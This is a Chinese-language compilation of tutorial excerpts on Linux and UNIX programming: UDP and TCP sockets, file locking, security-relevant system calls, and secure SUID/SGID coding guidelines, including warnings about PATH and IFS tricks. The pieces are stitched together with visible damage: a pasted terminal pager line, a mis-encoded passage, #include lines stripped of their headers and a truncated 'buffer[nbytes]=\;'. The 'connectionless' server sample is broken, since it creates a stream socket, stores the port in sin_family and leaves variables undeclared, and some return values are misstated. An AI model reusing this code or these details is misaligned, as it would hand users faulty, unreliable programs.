在面向连接的通信中客户机要做如下一些事: 调用socket()函数创建一个套接字 调用connect()函数试图连接服务器 如果连接成功调用write()函数请求数据,调用read()函数接收引入的应答 不连接(Connectionless)套接字程序设计 现在让我们来考虑一下不连接的信息交换.其服务器端的原理和面向连接的协议有所不 同.服务器并不调用listen和accept而是调用recvfrom().同样,服务器用sendto()函数来 应答信息.服务器端程序见程序清单59.3. 程序清单59.3 服务器端 #include <sys/types.h> #include <sys/socket.h> #include <linux/in.h> #include <linux/net.h> #define MY_PORT 6545 #define MAXM 4096 char mesg[MAXM]; main(int argc, char *argv[]) { int sockfd, newfd; int cpid; /* child id */ struct sockaddr_in servaddr; struct sockaddr_in clientInfo; if ((sockfd = socket(AF_INET, SOCK_STREAM, 0) < 0) { myabort("Unable to create socket"); } #ifdef LINUX opt = 1; len = sizeof(opt); setsockopt(sockfd,SOL_SOCKET,SO_REUSEADDR,&opt,&len); #endif bzero((char *)&servaddr, sizeof(servaddr)); servaddr.sin_family = AF_INET; servaddr.sin_addr.s_addr = htonl(INADDR_ANY); servaddr.sin_family = htons(MY_PORT); /* * The htonl (for a long integer) and htons (for short integer) convert * a host oriented byte order * into a network order. */ if (bind(sockfd,(struct sockaddr *)&servaddr,sizeof(struct sockaddr)) < 0) { myabort("Unable to bind socket"); } for (;;) { /* wait here */ n = recvfrom(sockfd, mesg, MAXM, 0, (struct sockaddr *)&clientInfo, sizeof(struct sockaddr)); doSomethingToIt(mesg); sendto(sockfd,mesg,n,0, (struct sockaddr *)&clientInfo, sizeof(struct sockaddr)); } } 看见了吗,处理每个消息只调用了两个函数,这比面向连接的协议更容易.但你必须,无论 如何,得在同一时间处理每个消息,因为消息从多台客户机向服务器涌来.而在面向连接的协 议中,子进程总是知道每条消息从哪里来. 客户机同样不能调用connect()系统调用.但是客户机可以直接调用sendto()函数.客户 机端和服务器端大致相同.只是它在调用recvfrom()之前调用sendto(): #include <sys/types.h> #include <sys/socket.h> int sendto((int sockfd, const void *message__, /* the pointer to message */ int length, /* of message */ unsigned int type, /* of routing, leave 0 */ const struct sockaddr * client, /* where to send it */ int length ); /* of sockaddr */ 注意:如果你使用的是BSD系统,请使用sendto()系统调用,不要使用sendmsg(),因为send to()性能更好. 如出错则返回-1,不过仅能检查出本地错误. recvfrom()系统调用是这样定义的: #include <sys/types.h> #include <sys/socket.h> int recvfrom(int sockfd, const void *message__, /* the pointer to message */ int length, /* of message */ unsigned int flags, /* of routing, leave 0 */ const struct sockaddr * client, /* where to send it */ int length ); /* of sockaddr */ 如果一个信息大得缓冲区都放不下,那么附加信息将被砍掉.该调用可以立即返回,也可 以永久的等待.这取决于你把flags设置成什么类型.你甚至可以设置超时(timeout)值.在说 明书(man pages)中可以找到recvfrom的更多信息. 在此你已学会了如何利用Linux的性能上的优点设计网络应用程序的基本知识.我们不打 算再进一步的描述更复杂的网络编程了.获得更多细节信息的一个极好的起点是参考W. Ric hard Stevens 的<<Unix 网络程序设计>>(Prentice Hall, 1990).此书乃众多大学所使用 的经典教材,内容极为详尽. 记录和文件锁定 当两个进程共享一个文件时,这之中存在一件非常危险的事情.如果一个进程改变了文件 目录那么必然影响到另一个进程.基于此理由,大多数操作系统采用一个互斥原则(mutually exclusive principle):当一个进程拥有一个文件时,其它进程就不能再碰这个文件.这叫做 文件锁定. 这个技术非常容易实现.通常所发生的事是,所谓"锁定文件"就是创建一个和源文件名同 名的文件再加上.lock扩展名.这就告诉其它进程这个文件不能再碰了.Linux假脱机打印系 统以及UUCP就是这样实现文件锁定的.这可能是一种粗暴的方法,但编程上非常简单. 不幸的是,你有几个进程要同时迅速的处理同一条信息时,这项技术对你并不实用.因为 等待文件打开和关闭所产生的延时将变得很长.同样一个进程如不能正确的释放文件,其它 进程将会挂在那里一直等待下去以获得存取权限. 由于这个原因,通常使用记录锁定.用记录锁定,一个大文件的一小部分被锁定以防止两 个进程同时改变它.如果有必要的话,记录锁定可以让多个进程同时存取相同文件的不同部 分记录.当然实现记录锁定编程要比实现文件锁定更复杂. 通常,要实现记录锁定你需要用到文件偏移量或是到文件起始处的字符数.在大多数程序 中,一个范围内的字符被锁定.程序记录锁定范围的起始处和长度,并保存在其它进程能查询 到的地方.不管是编写文件锁定还是记录锁定都需要对操作系统有很好的理解.但是并不难. 特别是可以从Internet,网络程序设计指导书和BBS上很容易地获得成千的程序.你可以察看 这些程序的源代码. 进程间通信 网络程序设计中通常包括两个或更多的进程将互相对话(interprocess communications ).因此进程通信的方法在网络程序设计中是极为重要的.网络程序设计在一些重要的方面不 同于一般程序设计通常所使用的方法.一个传统的程序可以通过全局变量或函数调用和不同 的模块(甚至同一机器上的其它应用程序)对话.但是在网络上却不行. 网络程序设计的一个重要的目标是保证进程间不互相干涉.否则系统可能被挂起或自锁. 因此,进程间必须使用简洁有效的方法进行通信.在此方面,UNIX具有非常显著的健壮性.因 为UNIX的许多基本性能如管道,队列等都非常适合网络. 和单个的应用程序代码相比,写进程间通信的代码十分复杂.如果你想写这类程序,可以 学习网络程序设计指导书和BBS站点上的例子程序.以了解这些任务是何以完成的. 小结 很少有人想写网络应用程序,因此进程的细节最好留给那些想写的人.实践和查阅大量的 例子程序是开始写网络代码的最好的方法.但是要掌握这门技术却要花许多年时间. 
2004年08月04日

网络安全编程技术(一)

UNIX系统为程序员提供了许多子程序,这些子程序可存取各种安全属性.有
些是信息子程序,返回文件属性,实际的和有效的UID,GID等信息.有些子程序可
改变文件属性.UID,GID等有些处理口令文件和小组文件,还有些完成加密和解密.
本文主要讨论有关系统子程序,标准C库子程序的安全,如何写安全的C程序
并从root的角度介绍程序设计(仅能被root调用的子程序).

1.系统子程序

(1)I/O子程序
*creat():建立一个新文件或重写一个暂存文件.
需要两个参数:文件名和存取许可值(8进制方式).如:
creat(“/usr/pat/read_write”,0666) /* 建立存取许可方式为0666的文件 */
调用此子程序的进程必须要有建立的文件的所在目录的写和执行许可,置
给creat()的许可方式变量将被umask()设置的文件建立屏蔽值所修改,新
文件的所有者和小组由有效的UID和GID决定.
返回值为新建文件的文件描述符.
*fstat():见后面的stat().
*open():在C程序内部打开文件.
需要两个参数:文件路径名和打开方式(I,O,I&O).
如果调用此子程序的进程没有对于要打开的文件的正确存取许可(包括文
件路径上所有目录分量的搜索许可),将会引起执行失败.
如果此子程序被调用去打开不存在的文件,除非设置了O_CREAT标志,调用
将不成功.此时,新文件的存取许可作为第三个参数(可被用户的umask修
改).
当文件被进程打开后再改变该文件或该文件所在目录的存取许可,不影响
对该文件的I/O操作.
*read():从已由open()打开并用作输入的文件中读信息.
它并不关心该文件的存取许可.一旦文件作为输入打开,即可从该文件中读
取信息.
*write():输出信息到已由open()打开并用作输出的文件中.同read()一样
它也不关心该文件的存取许可.
(2)进程控制
*exec()族:包括execl(),execv(),execle(),execve(),execlp()和execvp()
可将一可执行模快拷贝到调用进程占有的存贮空间.正被调用进
程执行的程序将不复存在,新程序取代其位置.
这是UNIX系统中一个程序被执行的唯一方式:用将执行的程序复盖原有的
程序.
安全注意事项:
. 实际的和有效的UID和GID传递给由exec()调入的不具有SUID和SGID许
可的程序.
. 如果由exec()调入的程序有SUID和SGID许可,则有效的UID和GID将设
置给该程序的所有者或小组.
. 文件建立屏蔽值将传递给新程序.
. 除设了对exec()关闭标志的文件外,所有打开的文件都传递给新程序.
用fcntl()子程序可设置对exec()的关闭标志.
*fork():用来建立新进程.其建立的子进程是与调用fork()的进程(父进程)
完全相同的拷贝(除了进程号外)
安全注意事项:
. 子进程将继承父进程的实际和有效的UID和GID.
. 子进程继承文件方式建立屏蔽值.
. 所有打开的文件传给子进程.
*signal():允许进程处理可能发生的意外事件和中断.
需要两个参数:信号编号和信号发生时要调用的子程序.
信号编号定义在signal.h中.
信号发生时要调用的子程序可由用户编写,也可用系统给的值,如:SIG_IGN
则信号将被忽略,SIG_DFL则信号将按系统的缺省方式处理.
如许多与安全有关的程序禁止终端发中断信息(BREAK和DELETE),以免自己
被用户终端终止运行.
有些信号使UNIX系统的产生进程的核心转储(进程接收到信号时所占内存
的内容,有时含有重要信息),此系统子程序可用于禁止核心转储.
(3)文件属性
*access():检测指定文件的存取能力是否符合指定的存取类型.
需要两个参数:文件名和要检测的存取类型(整数).
下面还有喔 (19%) │ 结束 ← q │ ↑/↓/PgUp/PgDn 移动 │ ? 辅助说明 │
需要两个参数:文件名和要检测的存取类型(整数).
存取类型定义如下:
0: 检查文件是否存在
1: 检查是否可执行(搜索)
2: 检查是否可写
3: 检查是否可写和执行

4: 检查是否可读
5: 检查是否可读和执行
6: 检查是否可读可写可执行
这些数字的意义和chmod命令中规定许可方式的数字意义相同.
此子程序使用实际的UID和GID检测文件的存取能力(一般有效的UID和GID
用于检查文件存取能力).
返回值: 0:许可 -1:不许可.
*chmod():将指定文件或目录的存取许可方式改成新的许可方式.
需要两个参数:文件名和新的存取许可方式.
*chown():同时改变指定文件的所有者和小组的UID和GID.(与chown命令不
同).
由于此子程序同时改变文件的所有者和小组,故必须取消所操作文件的SUID
和SGID许可,以防止用户建立SUID和SGID程序,然后运行chown()去获得别
人的权限.
*stat():返回文件的状态(属性).
需要两个参数:文件路径名和一个结构指针,指向状态信息的存放
的位置.
结构定义如下:
st_mode: 文件类型和存取许可方式
st_ino: I节点号
st_dev: 文件所在设备的ID
st_rdev: 特别文件的ID
st_nlink: 文件链接数
st_uid: 文件所有者的UID
st_gid: 文件小组的GID
st_size: 按字节计数的文件大小
st_atime: 最后存取时间(读)
st_mtime: 最后修改时间(写)和最后状态的改变
st_ctime: 最后的状态修改时间
返回值: 0:成功 1:失败
*umask():将调用进程及其子进程的文件建立屏蔽值设置为指定的存取许可.
需要一个参数: 新的文件建立屏值.
(4)UID和GID的处理
*getuid():返回进程的实际UID.
*getgid():返回进程的实际GID.
以上两个子程序可用于确定是谁在运行进程.
*geteuid():返回进程的有效UID.
*getegid():返回进程的有效GID.
以上两个子程序可在一个程序不得不确定它是否在运行某用户而不是运行
它的用户的SUID程序时很有用,可调用它们来检查确认本程序的确是以该
用户的SUID许可在运行.
*setuid():用于改变有效的UID.
对于一般用户,此子程序仅对要在有效和实际的UID之间变换的SUID程序才
有用(从原有效UID变换为实际UID),以保护进程不受到安全危害.实际上该
进程不再是SUID方式运行.
*setgid():用于改变有效的GID.

 

网络安全编程技术(二)

2.标准C库

(1)标准I/O
*fopen():打开一个文件供读或写,安全方面的考虑同open()一样.
*fread(),getc(),fgetc(),gets(),scanf()和fscanf():从已由fopen()打
开供读的文件中读取信息.它们并不关心文件的存取许可.这一点
同read().
*fwrite(),put(),fputc(),puts,fputs(),printf(),fprintf():写信息到
已由fopen()打开供写的文件中.它们也不关心文件的存取许可.
同write().
*getpass():从终端上读至多8个字符长的口令,不回显用户输入的字符.
需要一个参数: 提示信息.
该子程序将提示信息显示在终端上,禁止字符回显功能,从/dev/tty读取口
令,然后再恢复字符回显功能,返回刚敲入的口令的指针.
*popen():将在(5)运行shell中介绍.

(2)/etc/passwd处理
有一组子程序可对/etc/passwd文件进行方便的存取,可对文件读取到入口
项或写新的入口项或更新等等.
*getpwuid():从/etc/passwd文件中获取指定的UID的入口项.
*getpwnam():对于指定的登录名,在/etc/passwd文件检索入口项.
以上两个子程序返回一指向passwd结构的指针,该结构定义在
/usr/include/pwd.h中,定义如下:
struct passwd {
char * pw_name; /* 登录名 */
char * pw_passwd; /* 加密后的口令 */
uid_t pw_uid; /* UID */
gid_t pw_gid; /* GID */
char * pw_age; /* 代理信息 */
char * pw_comment; /* 注释 */
char * pw_gecos;
char * pw_dir; /* 主目录 */
char * pw_shell; /* 使用的shell */
};
*getpwent(),setpwent(),endpwent():对口令文件作后续处理.
状蔚饔胓etpwent(),打开/etc/passwd并返回指向文件中第一个入口项的
指针,保持调用之间文件的打开状态.
再调用getpwent()可顺序地返回口令文件中的各入口项.
调用setpwent()把口令文件的指针重新置为文件的开始处.
使用完口令文件后调用endpwent()关闭口令文件.
*putpwent():修改或增加/etc/passwd文件中的入口项.
此子程序将入口项写到一个指定的文件中,一般是一个临时文件,直接写口
令文件是很危险的.最好在执行前做文件封锁,使两个程序不能同时写一个
文件.算法如下:
. 建立一个独立的临时文件,即/etc/passnnn,nnn是PID号.
. 建立新产生的临时文件和标准临时文件/etc/ptmp的链,若建链失败,
则为有人正在使用/etc/ptmp,等待直到/etc/ptmp可用为止或退出.
. 将/etc/passwd拷贝到/etc/ptmp,可对此文件做任何修改.
. 将/etc/passwd移到备份文件/etc/opasswd.
. 建立/etc/ptmp和/etc/passwd的链.

. 断开/etc/passnnn与/etc/ptmp的链.
注意:临时文件应建立在/etc目录,才能保证文件处于同一文件系统中,建
链才能成功,且临时文件不会不安全.此外,若新文件已存在,即便建
链的是root用户,也将失败,从而保证了一旦临时文件成功地建链后
没有人能再插进来干扰.当然,使用临时文件的程序应确保清除所有
临时文件,正确地捕捉信号.
(3)/etc/group的处理
有一组类似于前面的子程序处理/etc/group的信息,使用时必须用include
语句将/usr/include/grp.h文件加入到自己的程序中.该文件定义了group
结构,将由getgrnam(),getgrgid(),getgrent()返回group结构指针.
*getgrnam():在/etc/group文件中搜索指定的小组名,然后返回指向小组入
口项的指针.
*getgrgid():类似于前一子程序,不同的是搜索指定的GID.
*getgrent():返回group文件中的下一个入口项.
*setgrent():将group文件的文件指针恢复到文件的起点.
*endgrent():用于完成工作后,关闭group文件.
*getuid():返回调用进程的实际UID.
*getpruid():以getuid()返回的实际UID为参数,确定与实际UID相应的登录
名,或指定一UID为参数.
*getlogin():返回在终端上登录的用户的指针.
系统依次检查STDIN,STDOUT,STDERR是否与终端相联,与终端相联的标准输
入用于确定终端名,终端名用于查找列于/etc/utmp文件中的用户,该文件
由login维护,由who程序用来确认用户.
*cuserid():首先调用getlogin(),若getlogin()返回NULL指针,再调用
getpwuid(getuid()).
*以下为命令:
*logname:列出登录进终端的用户名.
*who am i:显示出运行这条命令的用户的登录名.
*id:显示实际的UID和GID(若有效的UID和GID和实际的不同时也显示有效的
UID和GID)和相应的登录名.

(4)加密子程序
1977年1月,NBS宣布一个用于美国联邦政府ADP系统的网络的标准加密法:数
据加密标准即DES用于非机密应用方面.DES一次处理64BITS的块,56位的加
密键.
*setkey(),encrypt():提供用户对DES的存取.
此两子程序都取64BITS长的字符数组,数组中的每个元素代表一个位,为0
或1.setkey()设置将按DES处理的加密键,忽略每第8位构成一个56位的加
密键.encrypt()然后加密或解密给定的64BITS长的一块,加密或解密取决
于该子程序的第二个变元,0:加密 1:解密.
*crypt():是UNIX系统中的口令加密程序,也被/usr/lib/makekey命令调用.
crypt()子程序与crypt命令无关,它与/usr/lib/makekey一样取8个字符长
的关键词,2个salt字符.关键词送给setkey(),salt字符用于混合encrypt()
中的DES算法,最终调用encrypt()重复25次加密一个相同的字符串.
返回加密后的字符串指针.

(5)运行shell
*system():运行/bin/sh执行其参数指定的命令,当指定命令完成时返回.
*popen():类似于system(),不同的是命令运行时,其标准输入或输出联到由
popen()返回的文件指针.
二者都调用fork(),exec(),popen()还调用pipe(),完成各自的工作,因而
fork()和exec()的安全方面的考虑开始起作用.

网络安全编程技术(三)

3.写安全的C程序
一般有两方面的安全问题,在写程序时必须考虑:
(1)确保自己建立的任何临时文件不含有机密数据,如果有机密数据,设置
临时文件仅对自己可读/写.确保建立临时文件的目录仅对自己可写.
(2)确保自己要运行的任何命令(通过system(),popen(),execlp(),
execvp()运行的命令)的确是自己要运行的命令,而不是其它什么命
令,尤其是自己的程序为SUID或SGID许可时要小心.
第一方面比较简单,在程序开始前调用umask(077).若要使文件对其他人可
读,可再调chmod(),也可用下述语名建立一个”不可见”的临时文件.
creat(“/tmp/xxx”,0);
file=open(“/tmp/xxx”,O_RDWR);
unlink(“/tmp/xxx”);
文件/tmp/xxx建立后,打开,然后断开链,但是分配给该文件的存储器并未删
除,直到最终指向该文件的文件通道被关闭时才被删除.打开该文件的进程
和它的任何子进程都可存取这个临时文件,而其它进程不能存取该文件,因
为它在/tmp中的目录项已被unlink()删除.
第二方面比较复杂而微妙,由于system(),popen(),execlp(),execvp()执行
时,若不给出执行命令的全路径,就能”骗”用户的程序去执行不同的命令.因
为系统子程序是根据PATH变量确定哪种顺序搜索哪些目录,以寻找指定的命
令,这称为SUID陷井.最安全的办法是在调用system()前将有效UID改变成实
际UID,另一种比较好的方法是以全路径名命令作为参数.execl(),execv(),
execle(),execve()都要求全路径名作为参数.有关SUID陷井的另一方式是
在程序中设置PATH,由于system()和popen()都启动shell,故可使用shell句
法.如:
system(“PATH=/bin:/usr/bin cd”);
这样允许用户运行系统命令而不必知道要执行的命令在哪个目录中,但这种
方法不能用于execlp(),execvp()中,因为它们不能启动shell执行调用序列
传递的命令字符串.
关于shell解释传递给system()和popen()的命令行的方式,有两个其它的问
题:
*shell使用IFS shell变量中的字符,将命令行分解成单词(通常这个
shell变量中是空格,tab,换行),如IFS中是/,字符串/bin/ed被解释成单词
bin,接下来是单词ed,从而引起命令行的曲解.

再强调一次:在通过自己的程序运行另一个程序前,应将有效UID改为实际的
UID,等另一个程序退出后,再将有效UID改回原来的有效UID.

SUID/SGID程序指导准则
(1)不要写SUID/SGID程序,大多数时候无此必要.
(2)设置SGID许可,不要设置SUID许可.应独自建立一个新的小组.
(3)不要用exec()执行任何程序.记住exec()也被system()和popen()调用.
. 若要调用exec()(或system(),popen()),应事先用setgid(getgid())
将有效GID置加实际GID.
. 若不能用setgid(),则调用system()或popen()时,应设置IFS:
popen(“IFS= ;export IFS;/bin/ls”,”r”);
. 使用要执行的命令的全路径名.
. 若不能使用全路径名,则应在命令前先设置PATH:
popen(“IFS= ;export IFS;PATH=/bin:/usr/bin;/bin/ls”,”r”);
. 不要将用户规定的参数传给system()或popen();若无法避免则应检查
变元字符串中是否有特殊的shell字符.
. 若用户有个大程序,调用exec()执行许多其它程序,这种情况下不要将
大程序设置为SGID许可.可以写一个(或多个)更小,更简单的SGID程序
执行必须具有SGID许可的任务,然后由大程序执行这些小SGID程序.
(4)若用户必须使用SUID而不是SGID,以相同的顺序记住(2),(3)项内容,并
相应调整.不要设置root的SUID许可.选一个其它户头.
(5)若用户想给予其他人执行自己的shell程序的许可,但又不想让他们能
读该程序,可将程序设置为仅执行许可,并只能通过自己的shell程序来
运行.
编译,安装SUID/SGID程序时应按下面的方法
(1)确保所有的SUID(SGID)程序是对于小组和其他用户都是不可写的,存取
权限的限制低于4755(2755)将带来麻烦.只能更严格.4111(2111)将使
其他人无法寻找程序中的安全漏洞.
(2)警惕外来的编码和make/install方法
. 某些make/install方法不加选择地建立SUID/SGID程序.
. 检查违背上述指导原则的SUID/SGID许可的编码.
. 检查makefile文件中可能建立SUID/SGID文件的命令.
4.root程序的设计
有若干个子程序可以从有效UID为0的进程中调用.许多前面提到的子程序,
当从root进程中调用时,将完成和原来不同的处理.主要是忽略了许可权限的检
查.
由root用户运行的程序当然是root进程(SUID除外),因有效UID用于确定文
件的存取权限,所以从具有root的程序中,调用fork()产生的进程,也是root进程.

(1)setuid():从root进程调用setuid()时,其处理有所不同,setuid()将把有
效的和实际的UID都置为指定的值.这个值可以是任何整型数.而对非root
进程则仅能以实际UID或本进程原来有效的UID为变量值调用setuid().
(2)setgid():在系统进程中调用setgid()时,与setuid()类似,将实际和有效
的GID都改变成其参数指定的值.
* 调用以上两个子程序时,应当注意下面几点:
. 调用一次setuid()(setgid())将同时设置有效和实际UID(GID),独立分
别设置有效或实际UID(GID)固然很好,但无法做到这点.
. setuid()(setgid())可将有效和实际UID(GID)设置成任何整型数,其数
值不必一定与/etc/passwd(/etc/group)中用户(小组)相关联.
. 一旦程序以一个用户的UID了setuid(),该程序就不再做为root运行,也
不可能再获root特权.
(3)chown():当root进程运行chown()时,chown()将不删除文件的SUID和/或
SGID许可,但当非root进程运行chown()时,chown()将取消文件的SUID和/
或SGID许可.
(4)chroot():改变进程对根目录的概念,调用chroot()后,进程就不能把当前
工作目录改变到新的根目录以上的任一目录,所有以/开始的路径搜索,都
从新的根目录开始.
(5)mknod():用于建立一个文件,类似于creat(),差别是mknod()不返回所打开
文件的文件描述符,并且能建立任何类型的文件(普通文件,特殊文件,目录
文件).若从非root进程调用mknod()将执行失败,只有建立FIFO特别文件
(有名管道文件)时例外,其它任何情况下,必须从root进程调用mknod().由
于creat()仅能建立普通文件,mknod()是建立目录文件的唯一途径,因而仅
有root能建立目录,这就是为什么mkdir命令具有SUID许可并属root所有.
一般不从程序中调用mknod().通常用/etc/mknod命令建立特别设备文件而
这些文件一般不能在使用着时建立和删除,mkdir命令用于建立目录.当用
mknod()建立特别文件时,应当注意确从所建的特别文件不允许存取内存,
磁盘,终端和其它设备.
(6)unlink():用于删除文件.参数是要删除文件的路径名指针.当指定了目录
时,必须从root进程调用unlink(),这是必须从root进程调用unlink()的唯
一情况,这就是为什么rmdir命令具有root的SGID许可的原因.
(7)mount(),umount():由root进程调用,分别用于安装和拆卸文件系统.这两
个子程序也被mount和umount命令调用,其参数基本和命令的参数相同.调
用mount(),需要给出一个特别文件和一个目录的指针,特别文件上的文件
系统就将安装在该目录下,调用时还要给出一个标识选项,指定被安装的文
件系统要被读/写(0)还是仅读(1).umount()的参数是要一个要拆卸的特别
文件的指针.

Linux系统的一个主要特点是他的网络功能非常强大。随着网络的日益普及,基于网络的应用也将越来越多。 在这个网络时代,掌握了Linux的网络编程技术,将令每一个人处于不败之地,学习Linux的网络编程,可以让我们真正的体会到网络的魅力。 想成为一位真正的hacker,必须掌握网络编程技术。
现在书店里面已经有了许多关于Linux网络编程方面的书籍,网络上也有了许多关于网络编程方面的教材,大家都可以 去看一看的。在这里我会和大家一起来领会Linux网络编程的奥妙,由于我学习Linux的网络编程也开始不久,所以我下面所说的肯定会有错误的, 还请大家指点出来,在这里我先谢谢大家了。

在这一个章节里面,我会和以前的几个章节不同,在前面我都是概括的说了一下, 从现在开始我会尽可能的详细的说明每一个函数及其用法。好了让我们去领会Linux的伟大的魅力吧!

1. Linux网络知识介绍

1.1 客户端程序和服务端程序
网络程序和普通的程序有一个最大的区别是网络程序是由两个部分组成的–客户端和服务器端.

网络程序是先有服务器程序启动,等待客户端的程序运行并建立连接.一般的来说是服务端的程序 在一个端口上监听,直到有一个客户端的程序发来了请求.

1.2 常用的命令
由于网络程序是有两个部分组成,所以在调试的时候比较麻烦,为此我们有必要知道一些常用的网络命令

netstat
命令netstat是用来显示网络的连接,路由表和接口统计等网络的信息.netstat有许多的选项 我们常用的选项是 -an 用来显示详细的网络状态.至于其它的选项我们可以使用帮助手册获得详细的情况.

telnet
telnet是一个用来远程控制的程序,但是我们完全可以用这个程序来调试我们的服务端程序的. 比如我们的服务器程序在监听8888端口,我们可以用telnet localhost 8888来查看服务端的状况.

1.3 TCP/UDP介绍
TCP(Transfer Control Protocol)传输控制协议是一种面向连接的协议,当我们的网络程序使用 这个协议的时候,网络可以保证我们的客户端和服务端的连接是可靠的,安全的.

UDP(User Datagram Protocol)用户数据报协议是一种非面向连接的协议,这种协议并不能保证我们 的网络程序的连接是可靠的,所以我们现在编写的程序一般是采用TCP协议的.

2. 初等网络函数介绍(TCP)
Linux系统是通过提供套接字(socket)来进行网络编程的.网络程序通过socket和其它几个函数的调用,会返回一个 通讯的文件描述符,我们可以将这个描述符看成普通的文件的描述符来操作,这就是linux的设备无关性的 好处.我们可以通过向描述符读写操作实现网络之间的数据交流.

2.1 socket
int socket(int domain, int type,int protocol)

domain:说明我们网络程序所在的主机采用的通讯协族(AF_UNIX和AF_INET等). AF_UNIX只能够用于单一的Unix系统进程间通信,而AF_INET是针对Internet的,因而可以允许在远程 主机之间通信(当我们 man socket时发现 domain可选项是 PF_*而不是AF_*,因为glibc是posix的实现 所以用PF代替了AF,不过我们都可以使用的).

type:我们网络程序所采用的通讯协议(SOCK_STREAM,SOCK_DGRAM等) SOCK_STREAM表明我们用的是TCP协议,这样会提供按顺序的,可靠,双向,面向连接的比特流. SOCK_DGRAM 表明我们用的是UDP协议,这样只会提供定长的,不可靠,无连接的通信.

protocol:由于我们指定了type,所以这个地方我们一般只要用0来代替就可以了 socket为网络通讯做基本的准备.成功时返回文件描述符,失败时返回-1,看errno可知道出错的详细情况.

2.2 bind
int bind(int sockfd, struct sockaddr *my_addr, int addrlen)

sockfd:是由socket调用返回的文件描述符.

addrlen:是sockaddr结构的长度.

my_addr:是一个指向sockaddr的指针. 在中有 sockaddr的定义

struct sockaddr{
unisgned short as_family;
char sa_data[14];
};

不过由于系统的兼容性,我们一般不用这个头文件,而使用另外一个结构(struct sockaddr_in) 来代替.在中有sockaddr_in的定义
struct sockaddr_in{
unsigned short sin_family;
unsigned short int sin_port;
struct in_addr sin_addr;
unsigned char sin_zero[8];

我们主要使用Internet所以sin_family一般为AF_INET,sin_addr设置为INADDR_ANY表示可以 和任何的主机通信,sin_port是我们要监听的端口号.sin_zero[8]是用来填充的. Bind将本地的端口同socket返回的文件描述符捆绑在一起.成功是返回0,失败的情况和socket一样

2.3 listen
int listen(int sockfd,int backlog)

sockfd:是bind后的文件描述符.

backlog:设置请求排队的最大长度.当有多个客户端程序和服务端相连时, 使用这个表示可以介绍的排队长度. Listen函数将bind的文件描述符变为监听套接字.返回的情况和bind一样.

2.4 accept
int accept(int sockfd, struct sockaddr *addr,int *addrlen)

sockfd:是listen后的文件描述符.

addr,addrlen是用来给客户端的程序填写的,服务器端只要传递指针就可以了. Bind,listen和accept是服务器端用的函数,accept调用时,服务器端的程序会一直阻塞到有一个 客户程序发出了连接. Accept成功时返回最后的服务器端的文件描述符,这个时候服务器端可以向该描述符写信息了. 失败时返回-1

2.5 connect
int connect(int sockfd, struct sockaddr * serv_addr,int addrlen)

sockfd:socket返回的文件描述符.

serv_addr:储存了服务器端的连接信息.其中sin_add是服务端的地址

addrlen:serv_addr的长度

connect函数是客户端用来同服务端连接的.成功时返回0,sockfd是同服务端通讯的文件描述符 失败时返回-1.

2.6 实例

服务器端程序

/******* 服务器程序 (server.c) ************/
#include
#include
#include
#include
#include
#include
#include
#include

int main(int argc, char *argv[])
{
int sockfd,new_fd;
struct sockaddr_in server_addr;
struct sockaddr_in client_addr;
int sin_size,portnumber;
char hello[]=”Hello! Are You Fine?\n”;

if(argc!=2)
{
fprintf(stderr,”Usage:%s portnumber\a\n”,argv[0]);
exit(1);
}

if((portnumber=atoi(argv[1]))<0)
{
fprintf(stderr,”Usage:%s portnumber\a\n”,argv[0]);
exit(1);
}

/* 服务器端开始建立socket描述符 */
if((sockfd=socket(AF_INET,SOCK_STREAM,0))==-1)
{
fprintf(stderr,”Socket error:%s\n\a”,strerror(errno));
exit(1);
}

/* 服务器端填充 sockaddr结构 */
bzero(&server_addr,sizeof(struct sockaddr_in));
server_addr.sin_family=AF_INET;
server_addr.sin_addr.s_addr=htonl(INADDR_ANY);
server_addr.sin_port=htons(portnumber);

/* 捆绑sockfd描述符 */
if(bind(sockfd,(struct sockaddr *)(&server_addr),sizeof(struct sockaddr))==-1)
{
fprintf(stderr,”Bind error:%s\n\a”,strerror(errno));
exit(1);
}

/* 监听sockfd描述符 */
if(listen(sockfd,5)==-1)
{
fprintf(stderr,”Listen error:%s\n\a”,strerror(errno));
exit(1);
}

while(1)
{
/* 服务器阻塞,直到客户程序建立连接 */
sin_size=sizeof(struct sockaddr_in);
if((new_fd=accept(sockfd,(struct sockaddr *)(&client_addr),&sin_size))==-1)
{
fprintf(stderr,”Accept error:%s\n\a”,strerror(errno));
exit(1);
}

fprintf(stderr,”Server get connection from %s\n”,
inet_ntoa(client_addr.sin_addr));
if(write(new_fd,hello,strlen(hello))==-1)
{
fprintf(stderr,”Write Error:%s\n”,strerror(errno));
exit(1);
}
/* 这个通讯已经结束 */
close(new_fd);
/* 循环下一个 */
}
close(sockfd);
exit(0);
}

客户端程序

/******* 客户端程序 client.c ************/
#include
#include
#include
#include
#include
#include
#include
#include

int main(int argc, char *argv[])
{
int sockfd;
char buffer[1024];
struct sockaddr_in server_addr;
struct hostent *host;
int portnumber,nbytes;

if(argc!=3)
{
fprintf(stderr,”Usage:%s hostname portnumber\a\n”,argv[0]);
exit(1);
}

if((host=gethostbyname(argv[1]))==NULL)
{
fprintf(stderr,”Gethostname error\n”);
exit(1);
}

if((portnumber=atoi(argv[2]))<0)
{
fprintf(stderr,”Usage:%s hostname portnumber\a\n”,argv[0]);
exit(1);
}

/* 客户程序开始建立 sockfd描述符 */
if((sockfd=socket(AF_INET,SOCK_STREAM,0))==-1)
{
fprintf(stderr,”Socket Error:%s\a\n”,strerror(errno));
exit(1);
}

/* 客户程序填充服务端的资料 */
bzero(&server_addr,sizeof(server_addr));
server_addr.sin_family=AF_INET;
server_addr.sin_port=htons(portnumber);
server_addr.sin_addr=*((struct in_addr *)host->h_addr);

/* 客户程序发起连接请求 */
if(connect(sockfd,(struct sockaddr *)(&server_addr),sizeof(struct sockaddr))==-1)
{
fprintf(stderr,”Connect Error:%s\a\n”,strerror(errno));
exit(1);
}

/* 连接成功了 */
if((nbytes=read(sockfd,buffer,1024))==-1)
{
fprintf(stderr,”Read Error:%s\n”,strerror(errno));
exit(1);
}
buffer[nbytes]=\;
printf(“I have received:%s\n”,buffer);
/* 结束通讯 */
close(sockfd);
exit(0);
}

MakeFile
这里我们使用GNU 的make实用程序来编译. 关于make的详细说明见 Make 使用介绍

######### Makefile ###########
all:server client
server:server.c
gcc $^ -o $@
client:client.c
gcc $^ -o $@

运行make后会产生两个程序server(服务器端)和client(客户端) 先运行./server portnumber& (portnumber随便取一个大于1204且不在/etc/services中出现的号码 就用8888好了),然后运行 ./client localhost 8888 看看有什么结果. (你也可以用telnet和netstat试一试.) 上面是一个最简单的网络程序,不过是不是也有点烦.上面有许多函数我们还没有解释. 我会在下一章进行的详细的说明.

2.7 总结
